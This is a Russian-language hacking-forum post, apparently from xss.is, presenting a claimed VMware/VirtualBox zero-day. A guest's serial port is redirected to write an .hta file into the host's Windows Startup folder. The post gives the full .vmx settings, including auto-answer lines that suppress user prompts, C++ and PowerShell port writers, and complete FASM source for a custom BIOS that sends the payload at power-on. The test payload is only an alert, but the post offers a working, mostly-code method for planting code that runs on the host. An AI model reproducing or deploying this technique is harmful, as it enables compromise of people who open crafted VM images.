ZeroDay уязвимость в VMWare, Virtual Box и других виртуальных машинах. Подробный разбор и исходники.

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Начало здесь: https://xss.is/threads/98503/#post-683025

В данной статье будет описан Zero-Day эксплоит под вмваре, подробно разобран механизм работы уязвимости и код, который прописывается в подключаемый к VMWare BIOS. Так же стоит отметить, что данная уязвимость работает и на других виртуалках, просто на VMWare она нашлась первой. Точно такую же уязвимость у меня получилось воспроизвести на Virtual Box. Данная уязвимость будет на всех виртуалках, на которых есть возможность делать перенаправление данных из компорта гостевой системы в отдельный файл на хостовой системе. Кроме того, это должно работать и в Linux. Отличие будет только в типе пейлоада - в Windows мы делаем пейлоад в виде HTA или EXE файла, а в Linux это будет, например, sh скрипт.​

Принцип работы уязвимости:

1. В VMWare есть возможность выводить в отдельный файл информацию, отправляемую в COM порт из гостевой системы. Пути к файлу, которые там можно прописать, не проверяются. Путь может быть прописан любой, и расширение файла любое. Например, можно прописать файл с расширением hta в автозагрузку: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\test.hta

Скриншот с настройками:

vmware_settings.jpg



На скриншоте красным цветом обведено ключевое для данной уязвимости место настроек VMWare, где прописывается имя hta файла в папке автозагрузки.


2. Теперь как добавить контент в этот файл. Это можно сделать, например, через WinAPI, окрыв ком порт как обычный файл и записав туда контент.


C++: Скопировать в буфер обмена
Код:
hCom = CreateFile("\\\\.\\COM1", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, 0);
char* payload = "<SCRIPT>alert(12345)</SCRIPT>";
DWORD bytesWritten;
WriteFile(hCom, payload, strlen(payload), &bytesWritten, 0);
CloseHandle(hComm);

Можно сделать через PowerShell:

Код: Скопировать в буфер обмена
Код:
$comPort=new-Object System.IO.Ports.SerialPort $a,1E7,None,8,one;
$comPort.DtrEnable=$true;
$comPort.Open();
$comPort.WriteLine("<SCRIPT>alert(12345)</SCRIPT>");

Но у этих способов есть недостаток: они не срабатывают сразу после нажатия на кнопку "Включить" в vmware. Нужно дожидаться загрузки системы, встраивать в автозагрузку гостевой системы Powershell скрипт или EXE, который отправляет пейлоад в компорт. Для того чтобы пейлоад записался сразу же после запуска образа операционной системы его придётся разместить в BIOS. Тогда, нажав на кнопку Play в VMWare, запись hta файла в автозагрузку на хостовой системе произойдёт мгновенно. Поэтому переходим к следующему пункту: подключение стороннего BIOS в VMWare.​

3. В VMWare есть возможность подключать сторонние BIOS, строка для подключения прописывается в файле настроек образа с расширением vmx. Полный набор прописываемых настроек выглядит так:

bios440.filename="bios.rom"
serial0.fileType = "file"
serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta"
serial0.present = "TRUE"
answer.msg.serial.file.open = "Replace"
msg.autoAnswer = "TRUE"

Разберём каждую из этих строк:

Строка bios440.filename="bios.rom" - здесь прописывается путь к образу ROM файла, в котором хранится BIOS
serial0.fileType = "file - здесь задаём режим работы компорта, он будет настроен на запись в файл
serial0.fileName = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\a.hta" - здесь прописывается путь к файлу, в который будем сохранять данные из ком порта
serial0.present = "TRUE" - этой строкой подключаем ком порт к образу вмваре
answer.msg.serial.file.open = "Replace" - если образ будет скопирован на другой компьютер, то VMWare задаст вопрос "Был ли образ перемещён или скопирован". Этой строкой мы задаём автоответ на этот вопрос, чтобы пользователю не показывался лишний месседжбокс с вопросом.
msg.autoAnswer = "TRUE" - строка аналогичная предыдущей, VMWare будет автоматически выбирать ответ "Да" на все выдаваемые ей вопросы.

Теперь переходим к самому сложному, самому коду BIOS

4. Код BIOS написан на FASM и особенность его в том, что он работает в 16 битном режиме. Процессор сразу после включения работает именно в этом режиме, только потом он программно переводится в 32 или 64 битный режим работы. VMWare первые байты кода из BIOS интерпретирует именно как 16 битный ассемблер.

Это значит что в регистр будет влазить только 16 битное число (то есть максимальное возможное число, хранимое в регистре, будет равно 65535). Будет непривычная адресация памяти, состоящая из двух регистров, например DS:[SI]. Потому что один регистр заадресует только 65535 байт памяти, чтобы адресовать больше нужен дополнительный регистр. Кроме того, в коде самописного BIOS не будет прерываний. Например не будет прерывания INT 14h, отвечающего за работу с COM портом. Поэтому весь функционал, который предоставляет это прерывание, мы должны реализовать самостоятельно. Делать мы это буден обращаясь напрямую к портам ввода-вывода. Вообщем, будем программировать так, как это делали 30-40 лет назад.

Сам файл bios.rom не имеет никакого формата, там нет никаких дополнительных заголовков и настроечной информации, как например в exe файлах. Образ bios записанный на микросхему или в файл представляет собой точную копию того, как он хранится в памяти компьютера. Единственнное что нужно помнить, это про точку входа в BIOS, место откуда начинается выполнение программы. Этот адрес равен 0x7FFF0 и называется он Reset Vector. Это место, откуда начинается выполнение программного кода сразу после включения компьютера или после нажатия кнопки Reset.​

Размер файла bios.rom фиксированный, и равен он 524288 байт (или 0x80000 байт в шестнадцатеричной системе счисления). Если сделать другой размер, то VMWare выдаст ошибку.
Reset Vector находится почти в самом конце файла, поэтому по его адресу расположена инструкция JMP, осуществляющая переход на основную программу BIOS. Это показано на рисунке:

bios_in_hex_editor.jpg



На рисунке изображен скриншот из hex-редактора. Красным цветом обведён Reset Vector, откуда начинается исполнение программы после включения компьютера или нажатия кнопки Reset. Там видна инструкция JMP которая указывает на область, обведённую чёрным цветом. Область обведённая чёрным цветом это основной код.

Исходник файла bios.rom находится в прикрепленном файле bios.asm
Компилируется в FASM простой командой: fasm bios.asm

Далее разбираем обмен даннымми с компортом на ассемблере через порты ввода-вывода.

Код: Скопировать в буфер обмена
Код:
use16  ; Включаем режим 16 битного ассемблера

; Здесь хранятся адреса портов ввода вывода SuperIO и компорта

; SuperIO контроллер это микросхема, объединяющая в одном корпусе набор низкоскоростных устройств: com port, параллельный порт, флоппи диск и т.д.
; До появления стандарта SuperIO для каждого такого устройства был отдельный контроллер
; Чтобы получить доступ к компорту мы сначала должны инициализировать контроллер SuperIO
; VMWare использует именно этот стандарт - стандарт SuperIO вместо отдельного контроллера для каждого устройства

SUPERIO_BASE  equ 0x2e
      
PC97338_FER   equ 0x00
PC97338_FAR   equ 0x01
PC97338_PTR   equ 0x02

COM_BASE      equ 0x3f8  ; Базовый адрес компорта, от этого номера отсчитываются номера портов для различных функций работы с компортом (чтение, запись, и т.д.)
COM_RB        equ 0x00   ; Отправка буфера (R)
COM_TB        equ 0x00   ; Передача буфера (T)
COM_BRD_LO    equ 0x00   ; Установка скорости компорта, младшая часть
COM_BRD_HI    equ 0x01   ; Установка скорости компорта, старшая часть
COM_IER       equ 0x01   ; Interrupt Enable Register
COM_FCR       equ 0x02   ; FIFO Control Register, регистр буфера FIFO
COM_LCR       equ 0x03   ; Line Control Register, регистр контроля линии
COM_MCR       equ 0x04   ; Modem Control Registrer, регистр контроля модема
COM_LSR       equ 0x05   ; Line Status Register, регистр статуса линии, по его состоянию определяем готовность порта к передаче/приёму данных

db "VMBIOS v1.00",0,0,0,0 ; В самом начале файла располагается строка с названием BIOS, под это зарезервировано 16 байт

times 0x7F000-16 db 0xFF ; Заполняем неиспользуемое пространство символами 0xFF. Почему не нолями, и откуда пошло пустое пространство заполнять именно этим числом.
             ; Если число 0xFF перевести в двоичный формат, то мы получим число из всех единичек b11111111. Таким образом, куча чисел 0XFF это гигантская последовательность единичек.
             ; В микросхемах памяти незаписанный байт обозначается как "1", а не как "0". Куча чисел 0xFF это пошло от обозначения незаписанных байтов на микросхемах.

; Начало основной программы

org 0xF000 ; Адрес, по которому метка start_com_port располагается в памяти

; Про формат вызовов подпрограмм.
; В нашем случае нежелательно использовать инструкцию call, потому что она воздействует на память и регистры (по адресу SS:SP заносится адрес возврата и регистр sp уменьшается на 2)
; Здесь проще пользоваться таким способом вызова подрограмм:
;
;       mov     $sp+5
;    jmp     proc_label
;       ....
;
;proc_label:
;       jmp    sp
;
; Инструкция jmp работает здесь как инструкция call, инструкция jmp sp как замена инструкции ret.
; После такой замены будет исключено повреждение памяти инструкцией call


start_com_port:

    ; Первоначальные настройки сразу после включения компа. cli - сбросить флаг прерываний (CLear Interrupts)
    ; cld - задать стандартное направление обработки строк для инструкций обработки строк movsb, scasb и т.д. (CLear Direction)
    ; Три следующих инструкции - настройка сегментных регистров для адресации памяти
    ; Все эти значения нужно заполнить, так как после включения компа там может быть не "0", а какое-то иное случайное число
    ; Регистры DS и SS делаем равными адресу сегменту кода (CS=Code Segment). Нужно для правильной работы инструкций mov   

    cli
    cld

    mov    ax, cs
    mov    ds, ax
    mov    ss, ax

    mov      dx, SUPERIO_BASE    ; Обращаемcя к порту микросхемы Super-IO
    in       al, dx            ; Обращаемся к порту 2 раза: если обратится один раз, то может не сработать
    in       al, dx                ; Во всех исходниках и примерах эта команда указана дважды, почему так получилось нигде не написано

    mov    si, superio_conf    ; Указатель на область памяти с первоначальными настройками SuperIO
    mov    cx, 3            ; Указываем размер этой области памяти
write_superio_conf:
    mov    ax, [si]
    mov    sp, $+5            ;  Вызов подпрограммы отправки данных в порт superio
    jmp    superio_out             ;
    add    si, 2
    loop    write_superio_conf

        ; Настройка компорта, делается аналогично настройке superio

    mov      si, serial_conf        ; Указатель на таблицу настроек компорта
    mov      cx, 6
write_serial_conf: 
    mov    ax, [si]
    mov    sp, $+5            ; Процедура отправки данных в компорт
    jmp     serial_out              ;
    add    si, 2
    loop    write_serial_conf

    ; Компорт настроен и готов к работе, дальше идёт отправка пейлоада в компорт
 
    mov    si, payload 
    mov    sp,$+5                  ; Вызов подрограммы отправки ASCIIZ строки в компорт
    jmp    print_string            ;

; Завершаем работу программы бесконечным циклом
; В бесконечном цикле считываем символ из компорта и отправляем его обратно

serial_repeater:
    mov    sp,$+5
    jmp    readchar
    mov    sp,$+5
    jmp    putchar
    jmp    serial_repeater

; Подпрограмма отсылки данных SuperIO контроллеру
 
superio_out:
    mov    dx, SUPERIO_BASE
    out    dx, al
    inc    dx
    xchg    ah, al
    out      dx, al
    jmp    sp

; Подпрограмма отсылки данных компорту

serial_out:
    mov    dx, COM_BASE
    add      dl, al
    mov      al, ah
    out      dx, al
    jmp      sp

; В подпрограммах адрес порта будет виден, например, в таком формате: mov dx, COM_BASE + COM_LSR
; Здесь COM_BASE это стандартный адрес com порта 0x3F8
; На разные действия может быть отведён отдельный порт
; Следом за базовым номером ком порта идут порты для определённых действий с компортом: считать байт, отправить байт и т.д.
; Например, для получения доступа к статусному регистру линии мы получаем номер порта: COM_BASE + COM_LSR = 0x3F8 + 5 = 0x3FD

; Подпрограмма вывода одиночного символа в компорт

putchar:
    mov      dx, COM_BASE + COM_LSR
    mov      ah, al
tx_wait:
    in       al, dx        ; Дожидаемся готовности ком порта к передаче
    and      al, 0x20        ;
    jz    tx_wait         ;
    mov      dx, COM_BASE + COM_TB
    mov      al, ah
    out      dx, al     
    jmp      sp

; Подпрограмма считывания одиночного символа из компорта

readchar:
    mov      dx, COM_BASE + COM_LSR
rx_wait:
    in       al, dx          ; Дожидаемся готовности компорта к считыванию
    and      al, 0x01        ;
    jz    rx_wait         ;
    mov      dx, COM_BASE + COM_RB
    in       al, dx
    jmp      sp

; Подпрограмма печати строки
; Печать строки это печать множества одиночных символов, а значит это множество последовательных вызовов процедуры печати одиночного символа putchar

print_string:
    lodsb
    or    al, al
    jnz      write_char
    jmp      sp
write_char:
    shl    esp, 0x10
    mov    sp,$+5
    jmp    putchar
    shr      esp, 0x10
    jmp    print_string

; Таблица для настроек SuperIO и компорта

superio_conf: 
    db    PC97338_FER, 0x0f     ; Команда включения на микросхеме SuperIO следующих устройств: компорт, параллельный порт и флоппи диск
    db    PC97338_FAR, 0x10     ; Задаём стандартные номера коммуникационых портов: LPT=378, COM1=3F8, COM2=2F8
    db    PC97338_PTR, 0x00
serial_conf:
    db     COM_MCR, 0x00          ; Режим RTS/DTS выключен. RTS=Ready To Send, сигнал готовности отправки данных. DTS = Data To Send, сигнал о том что данные отправлены
    db    COM_FCR, 0x07
    db    COM_LCR, 0x80
    db    COM_BRD_LO, 0x01      ; Скорость порта устанавливаем в 115200
    db    COM_BRD_HI, 0x00
    db    COM_LCR, 0x03          ; Line Control Register, устанавливаем режим передачи 8N1, то есть 8 байт в пакете, N=отсутствие проверки чётности, 1 - количество стоповых битов

payload:
    db     '<SCRIPT>alert(7);</script>',0 ; Здесь хранится ASCIIZ строка с тестовым пейлоадом


end_com_port:

times 0x7FFF0 - 0x7F000 - (end_com_port - start_com_port) db 0xFF ; Резервируем неиспользуемую область памяти между основным программным кодом и Reset Vector


; Здесь находится Reset Vector, отсюда начинается исполнение программы после включения компьютера, либо после нажатия кнопки Reset
; В Reset Vector будет располагаться одна единственная инструкция JMP, делающая переход на основной программный код.
; Как устроена и как расчитывается инструкция JMP: первый байт это 0xE9 - это сигнатура инструкции JMP
; Дальше идёт 16 битное число, содержащее адрес перехода
; В формуле перехода первый знак "-", это означает мы переходим на минус столько-то байт назад.
; Значение $ - start_com_port это расстояние в байтах до места куда надо перейти, число байт от текущей позиции инструкции JMP и основного программного кода
; К текущей позиции инструкции JMP процессор приплюсовывает ещё 2 байта, поэтому в формуле есть число 2

start_bios_code:
    db 0e9h
    dw - ($ - start_com_port + 2)
end_bios_code:
times 13  db 0xff ; Заполняем оставшиеся байты до полного размера файла в 524288 байт (0x80000 байт в шестнадцатеричной системе счисления)

В следующей статье будет показан уже полноценный эксплоит, с тестовым EXE файлом внутри, продолжение следует.
 
Сверху Снизу